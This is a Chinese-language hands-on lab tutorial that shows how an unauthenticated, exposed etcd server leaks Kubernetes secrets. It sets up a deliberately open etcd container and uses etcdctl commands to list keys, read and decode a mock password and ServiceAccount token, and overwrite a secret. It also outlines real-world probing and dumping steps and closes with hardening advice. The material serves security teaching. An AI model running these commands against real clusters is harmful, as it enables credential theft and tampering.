etcd 是 Kubernetes 的“数据库”,集群里所有对象(包括 Secret)都存在这里。etcd 一旦被未授权访问,等于整个集群的机密全部泄露,甚至可被篡改。
一、etcd 是什么
etcd 是一个分布式键值(Key-Value)存储,特点是强一致(基于 Raft 共识算法)、高可用。它最出名的用途就是作为 Kubernetes 的唯一数据存储后端。
在 K8s 里:
-
你 kubectl create secret,Secret 最终被序列化后存进 etcd。
-
apiserver 是唯一直接读写 etcd 的组件。
-
集群的一切状态——Pod、Service、Secret、ServiceAccount token、RBAC 规则——都在 etcd 里。
一句话:拿到 etcd = 拿到整个集群的“数据库文件”。
本实验的 k3s 默认用 SQLite 作为数据存储,不直接暴露 etcd。为了教学,我们单独用容器起了一个无认证的 etcd(模拟生产中被错误暴露的 etcd)。
二、etcd 基础概念
2.1 端口
| 2379 | 客户端通信(client) | etcdctl、apiserver 用它读写数据 |
| 2380 | 节点间通信(peer) | 集群内部 Raft 复制 |
2379 是攻击者最关心的端口。
2.2 API 版本
etcd 有 v2 和 v3 两套 API,数据不互通:
-
v2:HTTP + JSON,路径式(/v2/keys/…)。
-
v3:gRPC(也支持 HTTP/JSON 网关),支持 MVCC、事务、租约。
现在主流是 v3,工具用 etcdctl。
2.3 安全机制(正常应该有的)
| 客户端证书认证 | –client-cert-auth | 客户端必须带证书才能连 |
| TLS 加密 | –cert-file/–key-file/–trusted-ca-file | 通信加密 |
| 身份认证 | –auth-token + 用户密码 | v3 支持 RBAC |
| 只监听内网 | –listen-client-urls | 限制监听地址 |
未授权访问的典型成因:没开 –client-cert-auth、没设密码、且 2379 暴露到可访问的网络。
三、实验环境搭建
远端脚本:
bash /opt/cloudsec-labs/etcd/start-etcd.sh
脚本核心命令:
docker run -d –name etcd-lab \\
-p 2379:2379 -p 2380:2380 \\
-v etcd-lab-data:/etcd-data \\
quay.io/coreos/etcd:v3.5.15 \\
/usr/local/bin/etcd \\
–name=etcd-lab \\
–data-dir=/etcd-data \\
–listen-client-urls=http://0.0.0.0:2379 \\
–advertise-client-urls=http://192.168.143.156:2379 \\
–listen-peer-urls=http://0.0.0.0:2380 \\
–initial-advertise-peer-urls=http://192.168.143.156:2380 \\
–initial-cluster=etcd-lab=http://192.168.143.156:2380
逐段解释:
-
-p 2379:2379 -p 2380:2380:把容器端口映射到宿主机(宿主端口:容器端口)。
-
-v etcd-lab-data:/etcd-data:用一个命名卷持久化数据。
-
quay.io/coreos/etcd:v3.5.15:etcd 官方镜像(在 quay.io 上)。
-
–name=etcd-lab:节点名。
-
–data-dir=/etcd-data:数据目录。
-
–listen-client-urls=http://0.0.0.0:2379:监听所有网卡的 2379(这就是暴露的根源;生产应只监听内网 IP)。
-
–advertise-client-urls:告诉客户端用哪个地址连。
-
–listen-peer-urls / –initial-advertise-peer-urls / –initial-cluster:peer 集群配置(单节点也要写)。
-
注意:整条命令没有任何 –client-cert-auth、没有 TLS、没有密码 → 无认证。
真实回显:
+———————–+——————+———+———+———–+————+———–+————+——————–+——–+
| ENDPOINT | ID | VERSION | DB SIZE | IS LEADER | IS LEARNER | RAFT TERM | RAFT INDEX | RAFT APPLIED INDEX | ERRORS |
+———————–+——————+———+———+———–+————+———–+————+——————–+——–+
| http://127.0.0.1:2379 | 45275cf9dde76f4e | 3.5.15 | 20 kB | true | false | 2 | 4 | 4 | |
+———————–+——————+———+———+———–+————+———–+————+——————–+——–+
[!] 注意:该实例未开启客户端证书认证(–client-cert-auth),任何人可读写。
四、etcdctl 使用
etcdctl 是 etcd 的命令行客户端。v3 需要设置 ETCDCTL_API=3(旧版本必须,新版本默认 v3)。
由于攻击者机器上不一定装了 etcdctl,脚本用一次性容器来当客户端:
bash /opt/cloudsec-labs/etcd/etcdctl.sh get / –prefix –keys-only
脚本内容:
docker run –rm –network host quay.io/coreos/etcd:v3.5.15 \\
/usr/local/bin/etcdctl –endpoints=http://192.168.143.156:2379 "$@"
逐段解释:
-
docker run –rm:跑完就删的临时容器。
-
–network host:容器直接用宿主机网络(这样能访问 2379)。
-
–endpoints=http://192.168.143.156:2379:指定 etcd 地址。
-
"$@":把脚本收到的参数原样传给 etcdctl。
常用子命令:
| get <key> | 读取一个 key |
| get <prefix> –prefix | 按前缀读取一批 |
| –keys-only | 只列出 key,不显示值 |
| put <key> <value> | 写入/覆盖 |
| del <key> | 删除 |
| watch <key> | 监听变化 |
| endpoint status | 查看集群状态 |
五、模拟 K8s 数据
K8s 把数据按固定前缀存放:
| /registry/secrets/<namespace>/<name> | Secret(base64) |
| /registry/serviceaccounts/<ns>/<name> | ServiceAccount |
| /registry/pods/<ns>/<name> | Pod |
| /registry/roles/…、/registry/rolebindings/… | RBAC |
写入模拟数据:
bash /opt/cloudsec-labs/etcd/seed-data.sh
核心命令:
docker exec etcd-lab /usr/local/bin/etcdctl –endpoints=http://127.0.0.1:2379 \\
put /registry/secrets/default/db-password \\
"$(printf 'admin:Passw0rd!2026' | base64)"
逐段解释:
-
docker exec etcd-lab …:进入 etcd 容器执行 etcdctl。
-
put /registry/secrets/default/db-password:写一个 key,路径模仿 K8s 的 Secret 存储位置。
-
printf 'admin:Passw0rd!2026' | base64:把明文密码转成 base64(K8s Secret 就是这样存的)。printf 比 echo 更可控(不额外加换行)。
真实回显(列出已写入的 key):
/registry/pods/default/nginx-7d8f9c-abcde
/registry/secrets/default/db-password
/registry/secrets/kube-system/default-token-abc12/token
六、攻击:未授权读取
攻击者视角(不认证、直接读):
bash /opt/cloudsec-labs/etcd/etcdctl.sh get /registry/secrets/default/db-password –print-value-only
-
–print-value-only:只打印值,方便直接拿去解码。
真实回显:
YWRtaW46UGFzc3cwcmQhMjAyNg==
解码:
bash /opt/cloudsec-labs/etcd/etcdctl.sh get /registry/secrets/default/db-password –print-value-only | base64 -d
输出:
admin:Passw0rd!2026
这就是 K8s Secret 泄露的完整过程:未授权访问 etcd → 读取 Secret → base64 解码 → 拿到明文密码。
列出所有 key(信息收集):
bash /opt/cloudsec-labs/etcd/etcdctl.sh get / –prefix –keys-only
真实回显:
/registry/pods/default/nginx-7d8f9c-abcde
/registry/secrets/default/db-password
/registry/secrets/kube-system/default-token-abc12/token
etcdctl 如果没设置 ETCDCTL_API=3,会按 v2 解析并报错。可以用 ETCDCTL_API=3 etcdctl … 显式指定。官方 3.4+ 默认 v3。
七、攻击:读取 ServiceAccount Token
/registry/secrets/kube-system/default-token-abc12/token 里模拟了一个 SA token:
bash /opt/cloudsec-labs/etcd/etcdctl.sh get /registry/secrets/kube-system/default-token-abc12/token –print-value-only
真实回显:
eyJhbGciOiJSUzI1NiIsImtpZCI6ImZha2UifQ.fake-jwt-token-for-lab
在真实集群里,这个 token 可以直接拿去调 apiserver。结合第 04 篇的 curl -H "Authorization: Bearer <token>",攻击者就能以该身份操作集群。
攻击链:未授权 etcd → 读 SA token → 冒充 Pod 身份 → 根据 RBAC 权限横向/提权。
八、攻击:篡改数据
etcd 未授权不只是“读”,还能“写”。攻击者可以:
-
修改 Secret(把服务密码改成自己的)。
-
修改 RBAC(给某个 SA 加 cluster-admin)。
-
删除数据造成拒绝服务。
-
植入恶意配置。
示例(仅演示,勿在生产尝试):
bash /opt/cloudsec-labs/etcd/etcdctl.sh put /registry/secrets/default/db-password "$(printf 'admin:hacked' | base64)"
危害:比只读更严重,属于完整性破坏,可导致业务被完全控制。
九、真实环境中的利用流程
在真实 K8s 里,攻击者通常这样发现并利用 etcd:
发现:扫描内网 2379 端口;或通过 SSRF 访问;或从节点上的 etcd 客户端证书文件读取。
探测:
curl -s http://<ip>:2379/version
curl -s http://<ip>:2379/v2/keys/ # v2 直接遍历
读取:
ETCDCTL_API=3 etcdctl –endpoints=<ip>:2379 get / –prefix –keys-only
ETCDCTL_API=3 etcdctl –endpoints=<ip>:2379 get /registry/secrets –prefix
解码 Secret,获取数据库密码、云 AK/SK、SA token。
横向:用泄露凭证访问其他系统,或直接用 SA token 操作集群。
十、防御
10.1 核心措施
开启客户端证书认证:–client-cert-auth,并配置 –trusted-ca-file。
启用 TLS:–cert-file、–key-file。
只监听内网/本机:–listen-client-urls=http://127.0.0.1:2379 或内网 IP,绝不监听 0.0.0.0 并暴露到公网。
防火墙/安全组:2379/2380 只允许 apiserver 节点访问。
启用 etcd RBAC(auth enable),最小权限。
Secret 静态加密:在 apiserver 配置 EncryptionConfiguration,让写进 etcd 的 Secret 是密文(即使 etcd 泄露也拿不到明文)。
定期备份:etcdctl snapshot save,并妥善保管(备份文件同样敏感)。
审计与监控:监控对 etcd 的异常访问。
10.2 检查清单
# 确认 etcd 是否监听在公网
ss -lntp | grep 2379
# 确认是否开启客户端证书认证(看启动参数)
ps -ef | grep etcd | grep client-cert-auth
十一、清理实验
docker rm -f etcd-lab
十二、本篇小结
etcd 是 K8s 的唯一数据存储,含所有 Secret 和 token。
客户端端口 2379,peer 端口 2380。
未授权成因:无 TLS、无 –client-cert-auth、监听 0.0.0.0 且暴露。
利用:get / –prefix –keys-only 列 key → 读 /registry/secrets/… → base64 解码。
危害不止泄密,还能篡改。
防御核心:客户端证书 + TLS + 只监听内网 + Secret 静态加密。



